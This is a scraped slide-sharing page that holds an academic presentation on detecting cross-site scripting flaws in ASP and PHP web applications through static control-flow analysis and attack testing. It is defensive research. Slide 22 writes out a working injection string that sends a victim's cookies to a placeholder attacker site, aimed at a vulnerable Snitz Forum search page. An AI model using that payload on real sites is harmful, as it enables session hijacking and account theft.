Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Porfirio Tramontana
 
Web Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSEWeb Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSE
Porfirio Tramontana
 
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Porfirio Tramontana
 
Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach
Porfirio Tramontana
 
Reverse Engineering Web Applications
Reverse Engineering Web ApplicationsReverse Engineering Web Applications
Reverse Engineering Web Applications
Porfirio Tramontana
 
Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications
Porfirio Tramontana
 
Improving Usability of Web Pages for Blind
Improving Usability of Web Pages for BlindImproving Usability of Web Pages for Blind
Improving Usability of Web Pages for Blind
Porfirio Tramontana
 
Techniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications TestingTechniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications Testing
Porfirio Tramontana
 
Comprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA ToolComprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA Tool
Porfirio Tramontana
 
A GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application TestingA GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application Testing
Porfirio Tramontana
 
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Porfirio Tramontana
 
Testing Robot Challenge: A Serious Game for Testing Learning
Testing Robot Challenge: A Serious Game for Testing LearningTesting Robot Challenge: A Serious Game for Testing Learning
Testing Robot Challenge: A Serious Game for Testing Learning
Porfirio Tramontana
 
Test Smells Learning by a Gamification Approach
Test Smells Learning by a Gamification ApproachTest Smells Learning by a Gamification Approach
Test Smells Learning by a Gamification Approach
Porfirio Tramontana
 
Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...
Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...
Automatic Assessment of Architectural Anti-patterns and Code Smells in Studen...
Porfirio Tramontana
 
State of the practice in Software Testing Teaching in Four European Countries
State of the practice in Software Testing Teaching in Four European CountriesState of the practice in Software Testing Teaching in Four European Countries
State of the practice in Software Testing Teaching in Four European Countries
Porfirio Tramontana
 
An Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdfAn Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdf
Porfirio Tramontana
 
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Porfirio Tramontana
 
Techniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing AutomationTechniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing Automation
Porfirio Tramontana
 
A technique for parallel gui testing of android applications
A technique for parallel gui testing of android applicationsA technique for parallel gui testing of android applications
A technique for parallel gui testing of android applications
Porfirio Tramontana
 
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Porfirio Tramontana
 
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Porfirio Tramontana
 
Web Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSEWeb Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSE
Porfirio Tramontana
 
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Porfirio Tramontana
 
Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach
Porfirio Tramontana
 
Reverse Engineering Web Applications
Reverse Engineering Web ApplicationsReverse Engineering Web Applications
Reverse Engineering Web Applications
Porfirio Tramontana
 
Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications
Porfirio Tramontana
 
Improving Usability of Web Pages for Blind
Improving Usability of Web Pages for BlindImproving Usability of Web Pages for Blind
Improving Usability of Web Pages for Blind
Porfirio Tramontana
 
Techniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications TestingTechniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications Testing
Porfirio Tramontana
 
Comprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA ToolComprehending Ajax Web Applications by the DynaRIA Tool
Comprehending Ajax Web Applications by the DynaRIA Tool
Porfirio Tramontana
 
A GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application TestingA GUI Crawling-based Technique for Android Mobile Application Testing
A GUI Crawling-based Technique for Android Mobile Application Testing
Porfirio Tramontana
 
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Using Dynamic Analysis for Generating End User Documentation for Web 2.0 Appl...
Porfirio Tramontana
 

Recently uploaded (20)

Cyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of securityCyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of security
riccardosl1
 
Big Data Analytics Quick Research Guide by Arthur Morgan
Big Data Analytics Quick Research Guide by Arthur MorganBig Data Analytics Quick Research Guide by Arthur Morgan
Big Data Analytics Quick Research Guide by Arthur Morgan
Arthur Morgan
 
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In FranceManifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
chb3
 
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...
TrustArc
 
TrsLabs - Fintech Product & Business Consulting
TrsLabs - Fintech Product & Business ConsultingTrsLabs - Fintech Product & Business Consulting
TrsLabs - Fintech Product & Business Consulting
Trs Labs
 
ThousandEyes Partner Innovation Updates for May 2025
ThousandEyes Partner Innovation Updates for May 2025ThousandEyes Partner Innovation Updates for May 2025
ThousandEyes Partner Innovation Updates for May 2025
ThousandEyes
 
Semantic Cultivators : The Critical Future Role to Enable AI
Semantic Cultivators : The Critical Future Role to Enable AISemantic Cultivators : The Critical Future Role to Enable AI
Semantic Cultivators : The Critical Future Role to Enable AI
artmondano
 
Technology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data AnalyticsTechnology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data Analytics
InData Labs
 
Rusty Waters: Elevating Lakehouses Beyond Spark
Rusty Waters: Elevating Lakehouses Beyond SparkRusty Waters: Elevating Lakehouses Beyond Spark
Rusty Waters: Elevating Lakehouses Beyond Spark
carlyakerly1
 
TrsLabs Consultants - DeFi, WEb3, Token Listing
TrsLabs Consultants - DeFi, WEb3, Token ListingTrsLabs Consultants - DeFi, WEb3, Token Listing
TrsLabs Consultants - DeFi, WEb3, Token Listing
Trs Labs
 
#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025
#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025
#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025
BookNet Canada
 
Mastering Advance Window Functions in SQL.pdf
Mastering Advance Window Functions in SQL.pdfMastering Advance Window Functions in SQL.pdf
Mastering Advance Window Functions in SQL.pdf
Spiral Mantra
 
Electronic_Mail_Attacks-1-35.pdf by xploit
Electronic_Mail_Attacks-1-35.pdf by xploitElectronic_Mail_Attacks-1-35.pdf by xploit
Electronic_Mail_Attacks-1-35.pdf by xploit
niftliyevhuseyn
 
AI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global TrendsAI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global Trends
InData Labs
 
Into The Box Conference Keynote Day 1 (ITB2025)
Into The Box Conference Keynote Day 1 (ITB2025)Into The Box Conference Keynote Day 1 (ITB2025)
Into The Box Conference Keynote Day 1 (ITB2025)
Ortus Solutions, Corp
 
HCL Nomad Web – Best Practices and Managing Multiuser Environments
HCL Nomad Web – Best Practices and Managing Multiuser EnvironmentsHCL Nomad Web – Best Practices and Managing Multiuser Environments
HCL Nomad Web – Best Practices and Managing Multiuser Environments
panagenda
 
Special Meetup Edition - TDX Bengaluru Meetup #52.pptx
Special Meetup Edition - TDX Bengaluru Meetup #52.pptxSpecial Meetup Edition - TDX Bengaluru Meetup #52.pptx
Special Meetup Edition - TDX Bengaluru Meetup #52.pptx
shyamraj55
 
Build Your Own Copilot & Agents For Devs
Build Your Own Copilot & Agents For DevsBuild Your Own Copilot & Agents For Devs
Build Your Own Copilot & Agents For Devs
Brian McKeiver
 
Build 3D Animated Safety Induction - Tech EHS
Build 3D Animated Safety Induction - Tech EHSBuild 3D Animated Safety Induction - Tech EHS
Build 3D Animated Safety Induction - Tech EHS
TECH EHS Solution
 
Top 10 IT Help Desk Outsourcing Services
Top 10 IT Help Desk Outsourcing ServicesTop 10 IT Help Desk Outsourcing Services
Top 10 IT Help Desk Outsourcing Services
Infrassist Technologies Pvt. Ltd.
 
Cyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of securityCyber Awareness overview for 2025 month of security
Cyber Awareness overview for 2025 month of security
riccardosl1
 
Big Data Analytics Quick Research Guide by Arthur Morgan
Big Data Analytics Quick Research Guide by Arthur MorganBig Data Analytics Quick Research Guide by Arthur Morgan
Big Data Analytics Quick Research Guide by Arthur Morgan
Arthur Morgan
 
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In FranceManifest Pre-Seed Update | A Humanoid OEM Deeptech In France
Manifest Pre-Seed Update | A Humanoid OEM Deeptech In France
chb3
 
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...
TrustArc Webinar: Consumer Expectations vs Corporate Realities on Data Broker...
TrustArc
 
TrsLabs - Fintech Product & Business Consulting
TrsLabs - Fintech Product & Business ConsultingTrsLabs - Fintech Product & Business Consulting
TrsLabs - Fintech Product & Business Consulting
Trs Labs
 
ThousandEyes Partner Innovation Updates for May 2025
ThousandEyes Partner Innovation Updates for May 2025ThousandEyes Partner Innovation Updates for May 2025
ThousandEyes Partner Innovation Updates for May 2025
ThousandEyes
 
Semantic Cultivators : The Critical Future Role to Enable AI
Semantic Cultivators : The Critical Future Role to Enable AISemantic Cultivators : The Critical Future Role to Enable AI
Semantic Cultivators : The Critical Future Role to Enable AI
artmondano
 
Technology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data AnalyticsTechnology Trends in 2025: AI and Big Data Analytics
Technology Trends in 2025: AI and Big Data Analytics
InData Labs
 
Rusty Waters: Elevating Lakehouses Beyond Spark
Rusty Waters: Elevating Lakehouses Beyond SparkRusty Waters: Elevating Lakehouses Beyond Spark
Rusty Waters: Elevating Lakehouses Beyond Spark
carlyakerly1
 
TrsLabs Consultants - DeFi, WEb3, Token Listing
TrsLabs Consultants - DeFi, WEb3, Token ListingTrsLabs Consultants - DeFi, WEb3, Token Listing
TrsLabs Consultants - DeFi, WEb3, Token Listing
Trs Labs
 
#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025
#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025
#StandardsGoals for 2025: Standards & certification roundup - Tech Forum 2025
BookNet Canada
 
Mastering Advance Window Functions in SQL.pdf
Mastering Advance Window Functions in SQL.pdfMastering Advance Window Functions in SQL.pdf
Mastering Advance Window Functions in SQL.pdf
Spiral Mantra
 
Electronic_Mail_Attacks-1-35.pdf by xploit
Electronic_Mail_Attacks-1-35.pdf by xploitElectronic_Mail_Attacks-1-35.pdf by xploit
Electronic_Mail_Attacks-1-35.pdf by xploit
niftliyevhuseyn
 
AI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global TrendsAI and Data Privacy in 2025: Global Trends
AI and Data Privacy in 2025: Global Trends
InData Labs
 
Into The Box Conference Keynote Day 1 (ITB2025)
Into The Box Conference Keynote Day 1 (ITB2025)Into The Box Conference Keynote Day 1 (ITB2025)
Into The Box Conference Keynote Day 1 (ITB2025)
Ortus Solutions, Corp
 
HCL Nomad Web – Best Practices and Managing Multiuser Environments
HCL Nomad Web – Best Practices and Managing Multiuser EnvironmentsHCL Nomad Web – Best Practices and Managing Multiuser Environments
HCL Nomad Web – Best Practices and Managing Multiuser Environments
panagenda
 
Special Meetup Edition - TDX Bengaluru Meetup #52.pptx
Special Meetup Edition - TDX Bengaluru Meetup #52.pptxSpecial Meetup Edition - TDX Bengaluru Meetup #52.pptx
Special Meetup Edition - TDX Bengaluru Meetup #52.pptx
shyamraj55
 
Build Your Own Copilot & Agents For Devs
Build Your Own Copilot & Agents For DevsBuild Your Own Copilot & Agents For Devs
Build Your Own Copilot & Agents For Devs
Brian McKeiver
 
Build 3D Animated Safety Induction - Tech EHS
Build 3D Animated Safety Induction - Tech EHSBuild 3D Animated Safety Induction - Tech EHS
Build 3D Animated Safety Induction - Tech EHS
TECH EHS Solution
 

Identifying Cross Site Scripting Vulnerabilities in Web Applications

  • 1. Identifying Cross Site Scripting Vulnerabilities in Web Applications P. Tramontana, A.R. Fasolino Dipartimento di Informatica e Sistemistica University of Naples Federico II, Italy G.A. Di Lucca RCOST – Research Centre on Software Technology University of Sannio, Benevento, Italy M. Mastroianni Second University of Naples, Italy 1
  • 2. The problem of Internet security and privacy  Security and privacy are fundamental requirements for Web Applications  75% of the malicious attacks on the Web occur at the application level (Gartner Group)  As more complex and automated Web Applications arise so does the probability of creating security loopholes. 2
  • 3. The problem of Internet security and privacy  Security and privacy are usually guaranteed by:  specific security systems (such as firewalls, or Intrusion Detection Systems) and software (such as antivirus or encryption software)  organisational changes to business processes finalised to improve security  But developers do not build security into their applications, based upon the false assumption that another area of security will cover it 3
  • 4. Cross Site Scripting (XSS) Cross-Site Scripting attack: A client executes a page containing script code that has been injected from other sources How can a malicious user perform a Cross Site Scripting attack? 4
  • 5. First scenario  Web Application implementing Malicious user a Guestbook Malicious Input Page code  Malicious user inserting a message, containing script code  The script code is stored into DB table DB Storage Page the database  A victim open the Message page  Since no checks are Victim performed, the script code is sent to the browser as a message Guestbook Page  The browser executes the 5
  • 6. Second scenario  A Simple Search form Victim  The victim unconsciously execute a link containing a malicious script code  Simple Search server page write an error message…  … but this error message contains the script code, that is executed by the browser Malicious code 6
  • 7. Key factors of XSS vulnerability  the exploits are very simple to carry out, and no particular application knowledge or skill are required;  the attacks may bypass perimeter defences (e.g. Firewalls), cryptography, digital signatures and site trusting;  it may be very difficult for the victim to know which web application allowed the XSS attack;  it may be very difficult for the developer to know which element of the web application allowed the XSS attack;  evolution of hypertextual language characteristics and browser capabilities may make it possible new attack strategies and make vulnerable a web application which was considered invulnerable. 7
  • 8. Possible solutions  To disable scripting language interpretation in browsers  To install of a software proxy which intercepts malicious strings in input and/or output (Scott and Sharp, 2002)  To introduce an input validation function immediately after every input statement contained in a Web page  To adopt this solution detection of vulnerabilities in source server script code is needed 8
  • 9. Detection and assessment of XSS vulnerabilities Static and dynamic analysis of server pages are combined to detect and assess XSS vulnerabilities:  Static analysis detects vulnerable pages and potentially vulnerable pages  Dynamic analysis consists in the execution of a set of test cases reproducing XSS attacks 9
  • 10. Potential vulnerability of a server page  A server page will be potentially XSS vulnerable if there are a variable v and two Input(v) and Output(v) nodes that are connected by a path on the CFG. nI <% nI ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message ‘Check for string “script” in Message 2 2 if instr(1,Message,“script")>0 then Message 3 response.write(“Forbidden”) … 4 else 3 . . . open DB connection . . . 10 Output 8 rs.open "Guestbook",conn,1,2,2 Message ‘Store Message into the DB … 9 rs.Addnew 10 rs("Message")=Message nF 11 rs.update nF end if %> 10
  • 11. Vulnerability of a server page  A server page will be vulnerable if there are a variable v, and two Input(v) and Output(v) nodes, such that all the paths on the CFG leaving the Input(v) node reach the Output(v) node, being def-clear with respect to v. nI nI <% ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 Message … ‘Store Message into the DB 6 rs.Addnew 7 rs("Message")=Message Output 8 rs.update 7 Message nF %> … nF 11
  • 12. Invulnerability of a server pages  A server page including an input data item that does not affect any output will be certainly invulnerable with respect to that input. nI nI <% ‘Read Message from input form Input Message 1 Message=request.form("txtMessage") 1 . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 … ‘Store a constant string into the DB 6 rs.Addnew 7 rs("Message")=“One message received” nF 8 rs.update nF %> 12
  • 13. Vulnerability conditions Vulnerability predicates:  A(v): There exists a path on the CFG between I and O nodes.  B(v): The O node postdominates I node.  C(v): Each path between I node and O node is a def-clear-path (obviously, B(v)=>A(v) and C(v)=>A(v) ) Vulnerability conditions:  PV) ∃v ∈ P: A(v) => P is potentially vulnerable with respect to v => P is potentially vulnerable  V) ∃v ∈ P: B(v) AND C(v) => P is vulnerable with respect to v => P is vulnerable  NV) ∃v ∈ P: NOT(A(v)) => P is not vulnerable with respect to v 13
  • 14. Examples (1) nI <% nI ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message ‘Check for string “script” in Message 2 2 if instr(1,Message,“script")>0 then Message 3 response.write(“Forbidden”) … 4 else 3 . . . open DB connection . . . 10 Output 8 rs.open "Guestbook",conn,1,2,2 Message ‘Store Message into the DB … 9 rs.Addnew 10 rs("Message")=Message nF 11 rs.update The server page nF end if is potentially %> vulnerable with Predicate values Condition Input variable respect to the A B C V P NV   variable Message T F T F T F Message 14
  • 15. Examples (2) nI nI <% ‘Read Message from input form Input 1 Message=request.form("txtMessage") 1 Message . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 Message … ‘Store Message into the DB 6 rs.Addnew 7 rs("Message")=Message Output 8 rs.update 7 Message nF %> … The server page is vulnerable with nF respect to the Predicate values Condition Input variable variable Message A B C V P NV   T T T T T F Message 15
  • 16. Examples (3) nI nI <% ‘Read Message from input form Input Message 1 Message=request.form("txtMessage") 1 . . . open DB connection . . . 5 rs.open "Guestbook",conn,1,2,2 … ‘Store a constant string into the DB 6 rs.Addnew 7 rs("Message")=“One message received” nF 8 rs.update nF %> Predicate values Condition Input variable The server page A B C V P NV   is not vulnerable F F F F F T Message 16
  • 17. Static analysis 1. Identify the input and output nodes of the CFG of the page P; 2. Identify all paths leaving the input nodes on the CFG; 3. For each path leaving an input(v) node and reaching an output(v) node, verify if the path is def-clear with respect to v; 4. Evaluates A, B, and C predicates’ values with respect to v; 5. Evaluate the vulnerability of page P, by the PV, NV, and V conditions. With reference to the second step of this process, in order to cope with the complexity of identifying all paths leaving the input nodes on the CFG, the analysis can be limited to a set of linearly independent paths extracted from the CFG. 17
  • 18. Dynamic analysis  Tthe presence of a vulnerable page doesn’t imply that a XSS attack can be performed. To assess if a Web Application is actually vulnerable to XSS attacks, dynamic analysis may be performed.  A vulnerability should be corrected and eliminated by the developer. The semantic of the source code of pages containing potential vulnerability should be analysed by the developer.  A testing strategy involving the execution of a set of attack test cases must be followed 18
  • 19. Testing strategy (second scenario) FOR EACH vulnerable or potentially vulnerable page P of the Web Application FOR EACH input field I of page P causing vulnerability Define a set S of XSS attack strings FOR EACH s ∈ S EXECUTE server page P with input field I=s Check for attack consequences 19
  • 20. Testing strategy (first scenario) FOR EACH vulnerable or potentially vulnerable page P of the Web Application FOR EACH input field I of page P causing vulnerability Define a set S of XSS attack strings FOR EACH s ∈ S EXECUTE server page P with input field I= s FOR EACH test case T from the test suite EXECUTE test case T Check for attack consequences 20
  • 21. Case study  Real world open source Web Applications implemented in PHP and ASP has been analysed  An example: Snitz Forum, version 3.4.03 ( http://forum.snitz.com)  Vulnerability situations has been detected using static analysis  A vulnerability to XSS attacks of the second type has been confirmed by dynamic analysis 21
  • 22. An example An example of vulnerability is contained in the following source code: Response.Write “<input type=""text"" name=""Search"" size=""40"" value=""" & Request.QueryString("Search") & """><br />" & vbNewLine This line of search.asp page contains a vulnerability: the value of an input variable (Search) will be sent to the client browser with no checks. The following test case perform a XSS attack redirecting Client Cookie values to a page of attacker’s server : “><script>location.URL=‘http://www.attackersite.com/atta cker.cgi?’ + document.cookie) </script> 22
  • 23. An example This vulnerability is also reported by Bugtraq web sites ( http://www.securityfocus.com, http://msgs.securepoint.com/bugtraq/) and it has been corrected in the next version (3.4.04) of the forum Response.Write ” "<td bgColor=""" & strPopUpTableColor & """ align=""left"" valign=""middle""> <input type=""text"" name=""Search"" size=""40"" value=""" & trim(ChkString(Request.QueryString("Search"),"display")) & """><br />" & vbNewLine & _ 23
  • 24. Conclusions  A WA should be intrinsically secure, by adopting secure programming practices, in order to preserve its invulnerability as the execution environment changes.  This paper proposed an approach for assessing the XSS vulnerability of an existing WA based on static and dynamic analysis of source code: Static analysis criteria have been defined to individuate vulnerable Web pages, while dynamic analysis strategies have been proposed to test the actual vulnerability of the Web Application including the vulnerable pages. 24
  • 25. Future works  To support static analysis with automatic tools  To integrate dynamic analysis with test case execution tools  To assess the effectiveness of the approach with a wider set of applications 25